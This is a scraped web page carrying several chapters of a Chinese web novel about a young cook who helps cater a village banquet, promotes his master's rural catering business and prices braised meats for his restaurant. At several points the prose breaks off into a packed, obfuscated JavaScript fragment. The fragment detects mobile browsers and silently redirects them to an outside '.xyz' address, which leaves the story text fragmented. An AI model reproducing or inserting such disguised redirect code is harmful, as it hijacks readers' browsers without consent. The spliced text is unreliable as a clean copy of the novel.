RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200206|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家今天辛苦了，这边单独留了两桌，大家过来坐着吃嘛。”周杰端了菜迎了过来，安排他们和帮工落座吃席。 大厨在宴席上地位是很高的，要专门给留座位，主家还要有人陪着。 “周砚，凉拌鸡和耳片还有多得没得？领导那桌的快吃完了。”周杰拉住周砚，小声问道。 “耳片没得了，凉拌鸡还有一盘多的，你端走嘛。”周砚转身把多的那份凉拌鸡给他端来。 “要得，你先去坐到起，把你师父和郑师傅陪好嘛，今天辛苦你们了。”周杰端起凉拌鸡快步离开。 “走，干饭！”赵嬢嬢冲着周砚喊道。 周沫沫已经坐小孩那桌吃去了，作为全场团宠，从早上醒了嘴巴就没停过，根本不需要担心吃不饱的问题。 反而因为担心她吃太多，赵嬢嬢已经三次清空她的口袋。 “要得！”周砚应了一声，快步跟上，在他师父身边坐下。 晚上还有一顿，鉴于郑强一杯倒的菜鸡酒量，周砚给他倒了杯茶。 “晚上喝，晚上不醉不休！”郑强端起茶，一脸豪迈。 肖师傅笑而不语，那可休的太快了。 **会返回案发现场欣赏自己的杰作。 厨师则会偷偷躲在一旁看客人的反应。 “今天这个咸烧白太巴适了！正儿八经的老师傅手艺！” “这个镶碗才是真的香啊！想爱甜扣也好吃！” “扣鸡才是真的鲜哦！这汤简直不摆了！” “这肖师傅的手艺，实在太好了！不愧是纺织厂的厨师长！” 今天的蒸菜，获得了宾客们的一致好评，对肖师傅的称赞也是不绝于耳。 同样的九大碗，菜式都差不多，但不同的厨师做出来就是不一样。 肖师傅端起酒杯抿了一小口，嘴角微微上扬，高手风范尽显。 “今天这个红烧鱼也巴适哦！麻辣酸甜，外焦里嫩，入味的很。” “鱼肉吃起多细嫩，一点腥味没得，不愧是蓉城餐厅的大厨整的！硬是有水平！” “我们也是好起来了，在村里都能吃到蓉城餐厅的风味。” 郑强做的红烧鱼，也是得到了客人们一致认可，桌上帮工的嬢嬢们也都说好。 郑强嘴角疯狂上扬。 没错！就是要这个效果！ 师父，我没给你丢人！ “肖师傅，你尝尝看我做的红烧鱼，给我指点一二嘛。”郑强看着肖师傅说道，一脸云淡风轻。 “郑师又说笑，我能指点啥子，大家吃了都夸好，这蓉城饭店的红烧鱼做法肯定不一般撒，我尝尝看，等会还要向你讨教学习才是。”肖磊笑着说道。 郑强听完嘴角都快咧到耳根了，摆着手道：“哎呀，不存在，肖师傅有啥子想问你就问嘛，我师父说了，同行交流就是要坦荡，才能互相学习，互相进步。” 周砚抿着嘴，把这辈子所有痛苦的事情在脑子里都想了一遍，差点没压住嘴角。 肖师傅拿起筷子，夹了一块鱼肚子上的肉，裹上浓稠的汤汁，然后喂到嘴里，细细品味一番，抿出两根鱼刺，点头道：“嗯，这鱼麻辣鲜香，外焦里嫩，汤汁已经完全煮进了鱼肉里，腥味压得非常好，汤汁调的更是巴适。” “火候、调味都把控到了极致，郑师这水平硬是又高又硬！” 郑师听完，那叫一个眉飞色舞，眼睛左看，右看，感觉都快飘起来了，笑得那叫一个灿烂。 “我觉得，你做红烧鱼这个水平，跟我师兄许运良比也是不相上下，你一出手，可能他都要退让三分。”肖师傅接着说道。 “我……”郑师傅正准备谦虚说两句，眼睛突然瞪大了几分，猛然回头看向肖师傅，“你……你刚刚说谁？” 又是一个大章~ 求月票！ 晚上还会有更新！ (本章完) 第89章 好个欺师灭祖的逆徒！ 肖师父笑眯眯道：“我师兄许运良啊，怎么，郑师也认得？” 郑师傅不笑了。 周砚憋不住笑了。 他在耍你啊郑师！ 周砚已经发现了，他的这位师父不只有在后厨板着脸训他的一面，在生活中同样有着四川人的幽默与风趣。 郑师傅的表情震惊中带着几分羞耻，坐姿都不自觉的端正了几分，小声嗫嗫道：“许运良，那是我师父……” “啥子？郑师你是我师兄许运良的徒弟？哎哟，那我们不就是同门了。”肖师傅高兴地握住了郑师傅的手，“郑师，我们真是有缘分啊。” “师叔，你喊我小郑嘛……”郑师傅欲哭无泪，感觉自己的脸是滚烫的。 一想到这两天肖磊一口一个‘郑师’的喊他，现在只想找个地缝钻进去。 他师父许运良是在苏稽学的厨，十多年前就去蓉城发展了，现在在蓉城餐厅掌勺，师爷是当初嘉州名厨孔怀风孔师傅。 师父倒是提起过他有几个师弟，但他一个也没记住啊。 谁能想得到，回来临时救场坝坝宴，还能碰上师叔？！ 肖师傅笑着拍了拍郑强的手背：“郑师不用谦虚嘛，按辈分你是我师侄，但要说做鱼，你就是郑师。一次做三十条红烧鱼，还能做出这个味道来，味道之好，让我佩服啊。” 肖磊这话说的情真意切，没有半点调侃，只有对自家师侄的欣赏。 郑强感受到了这份称赞，原本紧张的神情松缓了几分，脸上也是重新露出了笑容，“师叔，你莫要洗我脑壳了，我们师爷就是做鱼出名的大厨，你烧鱼肯定也很厉害。” 肖磊松开他的手，看向周砚，“喊师兄撒，这位是你大师伯许运良的高徒。” “郑师兄，我以茶代酒，敬你一杯。”周砚笑着端起茶杯敬郑强。 “师弟。”郑强也是连忙端起茶杯和他碰了一下。 “这也算是我们师门齐心拿下的第一个坝坝宴。”周砚放下杯子，看着肖磊笑着问道：“师父，你有没有当乡厨的想法啊？郑师兄不是准备回来当乡厨吗？你们两个要是搭档起来，在整个嘉州绝对是最抢手的乡厨。” “这倒是个好主意！”郑强闻言眼睛一亮，满是期待的看向肖磊，“师叔，咱们俩合伙干，你当主厨，我给你当墩子和助手，工钱你拿大头我拿小头，这活干得！” 经过这两天的事情，他算是看清楚自己的能力了，单凭他一个人，根本办不下来一场大型坝坝宴。但他给肖师叔当助手，倒是绰绰有余的。 肖磊闻言眉头微皱，陷入思考。 去蓉城的事情他和老婆提过几回，工资倒是能比在纺织厂高一些，但家里有卧病在床的老人，又有上学的孩子，只能他一个人去蓉城。 把老人孩子丢给老婆照看，两地分居，顾不上家，心里终究不太放心。 要是当乡厨的话，像这样一场办下来能有九十块，扣掉点调料成本，就算和郑强分一半，那也有四十多块钱。 一个月只要办三场，就抵得上蓉城大饭店大厨的工资。 等到年底结婚的人多，估计一个月能办的场次还要更多，收入会更可观。 这样就不用去蓉城了，家里也能顾得上。 以前觉得乡厨终究有点上不得台面，但干了这一回，倒是扭转了他对乡厨的偏见。 从主人家到帮工，对乡厨都是尊敬的。 这是一对步入婚姻的年轻人最重要的盛宴，乡厨也不是随便弄几个蒸菜糊弄一下就行的，办的好了，客人吃的开心满意，主人家面上有光，新人高高兴兴，也是一桩美事。 肖磊打定了主意，点头道：“我看也要得，把这些行头置办起来，我和郑强也不比他们差。” “好！以后我就跟着师叔干！”郑强一脸认真地点头道。 “要得，那等吃的差不多了，我上台帮你们宣传宣传，说不定今天来吃席的三百个人里头就有准备要办坝坝宴的。”周砚笑着说道：“除了坝坝宴，平时也可以接一些家宴嘛，那种一两桌的宴席，一个月接几单，淡季也能做起走。” 郑强眼睛一亮：“师弟脑子就是灵活，蓉城的有钱人确实会这样做，经常有人出高价请我师父去做家宴，一般都是老板请客。” “苏稽怕是没这种大户。”肖磊摇头，不太看好。 “不管有没有，先把广告打出去再说，把名声做起了，嘉州都会有人来请。”周砚笑着说道：“今天来的客人里头，不光是苏稽的人，嘉州甚至蓉城的都有。这顿让他们吃满意了，以后身边的人办坝坝宴，都会想到我们，这就是一个良好的开端。” “有道理。”郑强连连点头。 肖磊想了想，也是点头：“要得，就按你说的来。” 周砚现在说话做事，确实越来越成熟，而且头脑很灵活，确实是做生意的料。 周砚凑过去，又和肖磊、郑强小声把单价给商量了，只做菜就按三块一桌算，包工包料按开的菜单和当天菜价另算。 桌上其他人根本没在意他们三个在说什么，忙碌了一个早上本就饥肠辘辘，面对这一大桌子的好菜，吃的可香了。 “吃饭吃饭，我饿了。”周砚拿起筷子，眼疾手快的夹起碗里剩下的最后一块咸烧白。 嬢嬢不语，只是一味吃肉。 咸烧白可真抢手！ 瞧见最后一块肉被周砚夹走，众人都看了他一眼，不知多少人心头叹了口气。 厚切的三线肉，被酱汁腌制染成了琥珀色，下边垫着盐菜，蒸的十分软烂，夹起来颤颤巍巍。 筷子一夹就陷了进去，肉汁溢出油汪汪的。 【一块相当不错的咸烧白】 不敢有多余的动作，周砚直接把肉喂嘴里。 一口下去，感觉灵魂都跟着颤了颤。 肥肉已经蒸的十分软烂，入口一抿就化了。 瘦肉烂而不柴，吸满了酱汁和盐菜的特殊香气，味道醇香，咸鲜回甜。 好吃！ 周砚觉得这是他吃过最好吃的咸烧白，后世探店吃过的那些，跟这一比差点意思。 这猪肉太好了！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200207|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>自家养的土猪，取最好的三线肉，然后用土灶蒸出来。 当然，最重要的还是肖师傅精湛的厨艺，恰到好处的火候，完美的调味。 还好他下手及时，夹到了最后一块咸烧白。 这菜得学啊！ 周砚目光一扫，盯上了旁边那份甜烧白，碗里的糯米饭已经被吃了一半，也剩下了最后一块肉。 可惜没等周砚出手，郑师已经捷足先登，在几位嬢嬢伸筷子之前夹走，直接喂到嘴里，眼睛一亮，细细品味一番后，看着肖磊道：“师叔，你这甜烧白比我师父做的还好吃！能不能教教我啊？” 没抢到肉的周砚翻了个白眼，好个欺师灭祖的逆徒，下次见了许师伯，一定把这段原封不动的说给他听！ 他师父做的蒸菜确实一绝，鉴定给出的评价，都在不错以上，发挥之稳定，令人惊叹。 周砚一边吃，一边在心里感慨，大部分人认为川菜突只有一个辣字，其实是一种偏见。 火锅不能代表川菜啊喂！ 今天这八道蒸菜，只有粉蒸肉和东坡肘子是带辣味的，其他六道菜甚至没有辣味，突出一个鲜字。 就说粉蒸肉吧，腌制过的五花肉裹上米粉，蒸到软烂出油，口感软糯，味道由表及里，别具风味，香是主味，辣味反是陪衬融入其中。 而东坡肘子的辣味也不突出，料汁调的是酸辣中带点回甜，足够香，但不显辣。浸透软烂的蹄膀，肥肉入口即化，瘦肉一夹就散的丝丝缕缕，在酱汁里蘸一圈，裹上料汁，一口下去简直绝妙至极！ 相比之下，正宗的江西菜和湘菜，让周砚有点望而却步，就连浙省的衢州鸭头，都把他辣出过眼泪。 那辣味可真是一点都不含糊啊！ 当然川菜味型非常丰富，要论辣，盐帮菜可一战。 反正周砚去盐都，兔子再好吃也从不敢敞开了吃，就怕肛肠医院跑不赢。 周砚将目光转向红烧鱼。 【一份不错的红烧鱼】 夹了一筷子肉喂到嘴里，鱼皮焦香，鱼肉却格外鲜嫩，炸鱼的火候掌控的极好。 鲤鱼处理不好容易有土腥味，但郑强把土腥味压的极好，煮的过程中汤汁已经渗入鱼肉之中，再裹上浓稠的汤汁，麻辣鲜香都在这一口鱼肉之中尽显。 确实不错。 正如郑强所说，他们这一门以烧鱼出名，他师父其实也是烧鱼的好手，干烧、红烧、水煮样样精通。 周砚若是拿出藿香鲫鱼，必不比这道红烧鲤鱼差。 不过这种场合能一次性做三十条鲤鱼，并且保证这样的水准，郑师水平确实高！ 难怪师父会哄着他玩，就算不是宗门天骄，这也算核心弟子了。 郑强吃了几片耳片，又吃了两块猪头肉，最后夹了一块凉拌鸡。 吃完惊为天人，看了看周砚，又看看肖师傅，一脸震惊道：“师叔，师爷给你开小灶了？这凉菜我师父咋不会呢？” “我现在改拜你门下不晚吧？” 求月票！ (本章完) 第90章 该死！群众里出了坏人！（第一更） 郑师兄还是太有梗了。 周砚迟早要被他笑死。 可惜现在没有录音笔啊，不然一定要给他录下来，让许师伯好好听听。 “这卤味，你师爷都得揣着钱出门找周砚他奶奶买来下酒，我都学不到呢。”肖磊笑吟吟道。 “是师弟家传的手艺啊！”郑强恍然又有点小失望。 家传的手艺不外传，这是规矩。 他立马没了念想。 到底还是讲究人。 当然，师门的就不同了。 郑强已经开始缠着肖磊指导他做夹沙肉了。 他跟他师父倒也学过，但学得不精，现在意识这几道蒸菜在坝坝宴中的高超地位，下定决心要好好学，好好练。 中间新娘和双方父母过来敬酒，特意对三位厨师表达了感谢。 从新人脸上的笑容，周砚也感受到作为坝坝宴厨师的成就感。 宾客们吃的差不多，十二道菜，除了小孩那桌，其他桌上基本吃的精光。 大家摸着肚子，意犹未尽。 周砚瞧见他二伯起身，立马起身快步跟上，拉住他的衣袖道：“二伯，你是不是要通知晚上吃饭时间？” “对头。”二伯笑着点头。 周砚笑着道：“几点嘛，我来帮你喊，顺便给我师父和郑师傅宣传一哈，他们接下来打算合伙做乡厨，接坝坝宴。” “他们两个合伙？那也太巴适了！”二伯惊了一下，笑着道：“你看今天大家吃的多开心，菜全吃完了，个个都夸师父手艺好。晚上五点半吃饭，其他你自己发挥嘛。” “要得。”周砚点头往门口的长条石上一站，大声喊道：“亲朋好友们！晚上五点半开饭哈！下午该打扑克打扑克，该搓麻将搓麻将，摆龙门阵的茶水瓜子管够，吃了晚饭再回去哈！” “要得！” 宾客们看着周砚，纷纷笑着应道。 “他就是周砚，今天的凉菜都是他做的！还是单身哦，没对象的姑娘快看看满意不，还有机会下手！”人群里有人喊道。 宾客们纷纷哄笑起来。 这小伙子一表人才，会做饭，又会说话，确实是个良配！ 周砚一眼就瞄见了人群中笑疯了的周杰。 该死！群众里出了坏人！ 不过他脸皮厚，根本不带怕的。 等众人笑过了，接着面带笑容道：“今天这顿坝坝宴，大家吃的满不满意啊？” “满意得很！” “从来没吃过那么好吃的坝坝宴！” 客人们纷纷点头，桌上的空盘子已经说明一切。 “大家满意，我二伯和浩哥就高兴，大家吃的开心，说明他们忙活大半个月做的准备没有白费。”周砚笑着接着说道：“这次坝坝宴，我们请了纺织厂原厨师长、国家二级厨师，我的师父肖磊肖师傅，以及蓉城餐厅大厨、国家三级厨师郑强郑师傅，这八道蒸菜和那道红烧鱼，就是他们的杰作，能让大家吃的满意，他们也很高兴。” “喔唷！都是大师啊！” “难怪今天的坝坝宴菜那么好吃！” “这国家二级和国家三级真是一点水分没得！” 有些不知内情的客人闻言，不由发出了惊叹。 而已经知道消息的，吃完后则是开始感慨这评级的可靠性。 周砚的声音提高了几分：“经过这次的合作，这两位川菜大师看到了大家对于高品质坝坝宴的需求，想要为每一对结婚的新人、每一位祝寿的老人、每一个满月的婴儿送上美味的祝福，让主人家能昂首挺胸迎来送往每一位客人，所以他们决定联手干乡厨。” 现场安静了一会，不少宾客的眼里亮起了光。 年轻人办婚宴、老人祝寿、娃娃办满月酒，确实有办坝坝宴的需求。 肖师傅和郑师傅这种段位的大厨，一般人家根本请不到，这点大家心里都有数。 这是老周家临时请来的神仙，把这坝坝宴办得风风光光，周老二脸上有光，接下来一年周村只要讨论坝坝宴，绝对都会提起他。 但是，周砚说的啥子？ 这两位大厨，要联手搞乡厨？ 那不是大家都有机会请他们办事！ 谁不想风风光光结婚？风风光光过大寿呢？ 让宾客吃了回家还念着这顿吃得好，吃得香，就是这个年代最风光的事情！ “周砚，这两位大厨办一次坝坝宴好多钱？”有个大叔问道。 其他人也是纷纷向他看来。 苏稽镇上就有六七个乡厨，收费从一桌一块五到三块不等。 周泽他们原来请的那位赵四，就是收的最高的三块钱一桌，因为厨艺好，这价钱大家还争着请呢。 肖磊和郑强这两位，随便拎一个出来都吊打赵四，那他俩一起办坝坝宴，得多少钱一桌啊？ 大师虽好，但价格要是太贵的话，就得考虑一下兜里的钱够不够了。 周砚抬起双手压了压，示意大家安静，然后朗声道：“大厨手艺好，但定价不脱离人民群众，他们办坝坝宴，按今天的标准，只做菜的话算三块钱一桌。要是包工包料，那就按主家定的菜单算，各家不同，但价格绝对公道，童叟无欺！” 场下安静了一会，然后大家纷纷鼓起掌来，现场有些沸腾了。 三块钱一桌！ 这价钱可太良心了。 赵四的厨艺跟他俩能比吗？就他还收三块一桌呢！ 肖磊和郑强你看我，我看你，都从对方的眼里看到了惊讶。 “师叔，这小师弟还真是能说会道啊，跟我们经理似的。”郑强小声说道。 肖磊点头：“是挺能说的，以前也没看出来啊。” 男大十八变啊？ 这三个月周砚到底经历了什么？ 社会的毒打有这么让人奋进吗？ 赵嬢嬢看着周砚，脸上的笑就没停过，她心头高兴又骄傲，比穿新皮鞋都高兴。 周淼也在一旁乐呵呢，脸上带着笑，眼睛盯着周砚看。 “那是我锅锅，这些菜都是他做的的，厉害吧？”周沫沫指着桌上的菜，一脸骄傲的说道。 “你锅锅好厉害啊！”小男孩两眼放光。 “沫沫你好幸福啊，天天都能吃那么多好吃的！”小姑娘一脸羡慕。 有个小孩一脸不服气：“这算什么，我锅锅敢吃粑粑！” “我锅锅……”周沫沫想了想，摇头：“不吃！” 旁边的大人们都笑了。 然后那小孩就被他哥拎走，哭的可大声了。 周砚接着朗声说道：“对了，最后自我介绍一下，我是新郎官的弟弟周砚，今天这四道凉菜都是我做的，我在纺织厂大门口开了个饭店叫周二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200208|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃饭店，明天开始这四道菜也会开卖。” “欢迎大家来店里吃饭，当然卤菜可以打包，要是平时家里请客要的多，还可以提前预定，送货上门！” “温馨提示：要是定好日子办事的，定坝坝宴要趁早，好日子肯定不止你们一家办事哈，但我们的大厨一天只能办一场。” 这话倒是把人一下点醒了，已经定下办事时间的宾客，立马起身向着肖磊和郑强围了过去，生怕被人抢了先。 就连院子里那桌，都有一位客人快速起身，往院门口走去。 “老马，你去哪？”黄琛问道。 “我儿再有两个月要办坝坝宴，我也去定大厨撒，三块钱一桌，太划算了！”老马头也不回地说道。 同桌众人闻言都笑了。 孙彦笑着道：“老太太，你这孙子讲话有水平啊，风趣幽默，能事情讲明白，一点不怯场。” “现在干个体户不容易啊，菜做得好还不够，还得能说会道。”老太太笑盈盈道，面上有光。 黄琛也是有些感慨道：“就这厨艺和这口才，日后肯定能干事，国家在大力发展经济，以后他们这些年轻人搞个体户大有前途呢。” “好几个月没见周砚，没想到他菜做的那么好吃，口才也变这么好了。”新娘陈月月敬完酒刚吃上饭，轻笑着跟周浩说道。 周浩一脸骄傲的点头：“我这个弟娃打小就聪明，这次坝坝宴能办下来，让大家吃的那么高兴满意，他的功劳要排第一。 “表姐，他真的还单身啊？”同桌有个姑娘小声问道。 陈月月和周浩同时向她看了过去。 “郑双，你对周砚有兴趣啊？那我介绍你们认识呗。”陈月月笑盈盈道：“周砚人品不错的，做事踏实。” “我……我就是随口问一哈。” 坐一旁的赵嬢嬢，也被热心嬢嬢们围住，给她推荐十里八乡的适龄姑娘，有干活利落的，有长得好看的，还有屁股大好生养的。 周砚对此全然不知情，从长条石上跳下来，看着已经被人群围住的肖师傅和郑师兄，脸上露出了笑容。 你看，这局面不就一下子打开了！ 现在的人，还是太过含蓄。 你要不大声告诉人家，人家还以为神仙在天上，谁能想到神仙其实下凡干坝坝宴了呢。 师父是因为他辞职的，现在周砚成功让他再上岗。 这人情先还上一部分。 坝坝宴办得好，把名声打出去了，将来开个酒楼搞包席，那也是大有可为的。 像他师父和郑师兄这样的双强组合，小小苏稽肯定困不住他们的，只要多办几场坝坝宴，嘉州各县、乡镇的大户，绝对会抢着让他们去办坝坝宴。 等单子多到忙不过来的时候，适量提高一点单价，筛出一批高净值的用户，还能挣得更多。 很多酒楼就是这样做起来的，凭借着口碑的累积，慢慢做大做强。 每一次坝坝宴面对的都是上百个不同的客人，而且婚宴又是在村里讨论度极高的事件，只要做得好，就能快速破圈。 手艺好的乡厨抢手的原因就在这里。 “周砚！大后天我老汉祝寿，我打算在家里摆个五桌，找你定五桌凉菜你看要得不？”一道声音打断了周砚的思考。 求月票！今天会加更！ (本章完) 第91章 放心，我不做鸭！（第二更！） 周砚立马堆起笑脸，点头道：“要得！表叔你要定哪几样凉菜？” “就今天这几样嘛，你直接给我包工包料，大后天中午开饭前给我送过来能上桌就行。” “保证送到！” 就一会功夫，就有好几个围上来找周砚定卤菜和凉拌鸡的，都是自家办的三五桌的小型宴席。 这种一般不会特意去请乡厨，都是从自家亲戚里找个厨艺最好的掌勺，再买点卤味凉菜一搭，成本不会太高。 周砚掏出小本子把时间和地点记上。 倒也不是多少都送。 “哥，你这两盘猪耳朵，要不就你当天到镇上买菜转到店里来打包一下？跑一趟南村来回得半个多小时。”周砚笑着婉拒了一个配送订单。 不要配送费，那有起送价就很合理吧？ 都是沾亲带故的，倒也都好说话。 超过五桌，在苏稽镇范围内的，周砚都会配送，这算大订单了。 做生意嘛，就要灵活多变。 人群散去，周砚回到肖磊和郑强这边。 俩人手里拿着一张纸，正乐呵着傻笑呢。 “定了多少单？”周砚笑问道。 “六单。”郑强伸手比划了一下，一脸佩服地看着周砚：“师弟，你可太厉害啊！” “是咱们三个厉害，这都是咱们靠实力打下来的口碑。”周砚笑着摆摆手。 “这个月三单，下个月两单，下下个月还有一单。”郑强把纸给周砚递了过来，笑着道：“这个月有两家定了要你送凉菜，就按今天的标准来，你把日子和桌数先记下来，到时候我提前两天跟你沟通确切的桌数。” “那可太好了，这是大订单啊。”周砚喜滋滋地接过那张纸，拿出小本子抄录下来。 八号有一家，十六号也有一家，都是苏稽镇上的，一家二十桌，一家三十八桌，都是大买卖！ 瞧瞧，这就是互帮互助的双赢局面啊。 肖磊又道：“其他四家也你来给我们做凉菜吧，我给你分钱。” “主人家要是没有提要求的话，我就不去了，师父你的卤味技术在食堂也是一绝的，等第三场的时候，你的卤水也养好了，这钱你们自己挣。”周砚笑着摇头：“我还得顾着饭店这边，时间上不合适。” “要得。”肖磊点点头，没再多说。 周砚给他们安排了张牌桌坐下，自己骑着车回了饭店。 师父和郑强怎么分钱周砚不掺和，师父几十年的**湖了，又是郑强的师叔，肯定能把钱分合适。 一桌三块钱，他们俩个人分，收入还算可观。 他们俩磨合好了之后，腾出一个人手弄凉菜完全没问题，要是再把钱给他分一道，几十块钱三个人分，一个月能挣多少？ 周砚现在饭店每天利润过百，接下来卤味要是能做出来，利润还有上升空间。 专心经营饭店才是他当下该做的事情，他不可能把市场上的每一分钱都塞进自己口袋。 要是哪天他师父和郑强准备开包席的酒楼，他倒是很有兴趣参一股。 再过几年大家生活条件变好了，开始讲究排场的时候，酒楼应该相当挣钱。 回到饭店后厨，周砚用漏勺把卤水里的肉渣全部捞干净，再用纱布裹着漏勺过了一道，确定一点肉渣没剩下，然后补水、补色、补盐，再烧火把卤水煮开了一道。 老卤水靠养，每次卤完肉都得重复这道工序，不然第二天卤水就酸了。 今天宾客们的反馈太好了，周砚对这锅老卤水的价值有了非常深刻的理解。 只要他养好这锅老卤，光靠这锅卤水都能保他吃穿不愁。 【叮！触发支线任务：张记卤味的传承。】 【苏稽张记卤味，由张淑芬于1930年创立，数十年间成为了苏稽老一辈人的美味回忆。】 【玩家成功拜师张淑芬，触发传承任务：售出卤味500份，唤醒老一辈苏稽食客的美味记忆，让张记卤味再度扬名苏稽。任务奖励：未知。接受：是/否】 正在烧火的周砚眉梢一挑，久违的系统任务来了！ 500份，这任务强度算是中等，能完成，但需要一些时间。 他打算明天开始卖卤味，从卤猪头和凉拌鸡开始，卤牛腱子先控着量来，还是按照老办法慢慢增加供应量，尽量做到不浪费。 卤水用中小火煮着，周砚拿出纸笔，核算了成本，开始定价。 去骨猪头肉整个的价格是六**一斤，卤煮之后会缩水两三成，每次卤煮还会消耗不少卤水，这也是额外成本。 卤猪耳朵和卤拱嘴少，且更多的人喜欢用来下酒，价格要定高一些，按3元一斤算。 卤猪头肉按2.5元一斤。凉拌鸡2.5元一斤。 卤牛肉成本更高，定价4元一斤。 卤牛肉毛利润其实只有30%左右，而且周砚认为应该不太好卖。 价格属实有点贵，同样是下酒菜，猪头肉和凉拌鸡明显更有性价比。 厂门口三家卤味摊都没卖卤牛肉。 这个价格定的比门口那几家卤味摊每斤贵两三毛钱，按一个猪头来算，扣除各项成本后，毛利润能到55%左右。 贵有贵的道理，卤水里加的糖色、香料用的都是资格货，而且周砚有信心做出来的卤味比他们的更好吃。 今天老太太给他指点卤味的时候，聊起过定价，她当年卖卤味，价格始终比苏稽镇上别家卤味店贵三成。 即便如此，她做的卤味依旧供不应求，每天出摊中午就能卖空。 这样定价，同样一百斤肉赚的更多是一方面，另一方面是为了给同行留口饭吃，免得遭人嫉恨。 周砚这定价已经相对保守。 然后周砚又把店里堂食的价格给定了。 一份猪耳朵和猪拱嘴有三两肉，薄切一盘了，价格是1元；一份猪头肉和凉拌鸡有四两肉，定价1元，和散称的价格基本没有区别。 卤牛肉一份四两，定1.6元。 卤牛肉如果不好卖的话，周砚可能会把他变成预定菜，只有提前一天预定才会做，平时默认估清。 价格确定之后，周砚从柜子里拿出之前裁好的木板开始写菜单，并且把每一份的份量直接标注上，让客人能直观的知道份量。 开饭店哪有那么简单，琐碎的事情多着呢。 增加卖卤味之后，后厨会变得更加繁忙。 猪头肉、猪耳朵、猪拱嘴要现切，凉拌鸡要新鲜现拌，口感会更有保证。 周砚考虑是否要招募一名刀工不错的墩子，专门负责在门口现切卤肉，这样用餐高峰期后厨才忙得过来。 又或者专注做晚上纺织厂下班那一个小时，提前把猪耳朵、猪头肉、凉拌鸡切好，让赵嬢嬢只负责称重打包，店里堂食的就由周砚在后厨负责现切现拌，暂不增加人手。 五块牌子挂上墙，菜单得到了明显丰富。 卤味打包的居多，除了丰富菜单，还能扩展客户群体，直接提升营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200209|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收。 卤水烧开，把火撤了，周砚盖好锅盖挂锁出门。 今天纺织厂休息，门口的摊贩还是有几家出摊的。 住在宿舍的工人，休息日也会逛过来吃饭，多少有几个客人。 “周老板，星期天也过来啊？”有人和他招呼道。 周砚捏了一把刹车，回头看是卖甜皮鸭的老板正冲着他笑，圆脸，身材微胖，三十岁左右，身上套了件灰色罩衣，一头茂密的自然卷发，就像戴了一顶厚实的假发，不注意还以为是个慈祥的嬢嬢。 赵明辉，夹江木城镇人，祖传的做鸭手艺。 小周的饭店刚开门的时候，来吃过几回，一来二去就认识了，关系处的还可以。 摊摊后边摆了一张躺椅，一个短发微胖女人搂着个小姑娘，身上盖了件罩衣正在小憩，是他婆娘和小女儿。 “是啊，过来拿点东西，老赵今天还出来卖啊。”周砚笑着道。 “对，今天就做了两只，还剩半只卖完就回家。”赵明辉点头，指了指面前的盘子：“还有两个卤鸭头，拿个吃水？” 周砚顺着他手指的方向看了一眼。 【两个平平无奇的卤鸭头】 【半只不错的甜皮鸭】 “不吃了，今天吃坝坝宴，肚子现在还撑着呢。”周砚笑着摇头，老赵做鸭是专业的，但做鸭头的水平还是差了点意思。 “那吃点盐卤花生，早上我自己卤来当零食的，客人都买不到。”赵明辉走了过来，往周砚手里塞了一把卤花生，笑着道：“你最近生意好好哦，我都为你高兴，这下做得起走了吧？” “生意还行，这下不用关门了。”周砚把车撑踩下，剥了颗花生丢嘴里，卤味浓郁，盐味适中，还挺香的。 【一颗不错的卤花生】 “卤花生比你的卤鸭头好吃，你要不试试不卖鸭头卖花生？”周砚认真建议道。 “真的？”赵明辉眼睛一亮，点着脑袋道：“我也是这样想的！这花生口味我调了几十遍了，这是最终确定下来的配方，我想卖，我婆娘说没人要的嘛。” “下酒多好，怎么会没人要呢？”周砚笑着跟他说道：“接下来一个星期，客人只要来买卤味或者甜皮鸭，你就给他抓几颗尝尝，有停下来看的，你也给他递几颗，先把口碑做起来，让人晓得你这里有卤花生卖，而且味道不错。” “就算散一个星期，你最多也就散十斤花生，要不了好多钱。下下个星期直接开始卖卤花生，摆到摊子显眼的位置，把价格写起放在上面，明码标价，肯定卖的脱。” 赵明辉越听眼睛越是明亮，不禁拍手叫好道：“你这个主意好啊！我怎么就想不到呢？周砚，你脑壳太机灵了！” “你试看嘛，我觉得这花生应该比你的鸭头好卖，花生便宜，卤了重量还会涨，一斤卖个四毛钱，赚一半不香吗。”周砚又吃了一颗花生，把剩下的揣兜里给周沫沫带回去。 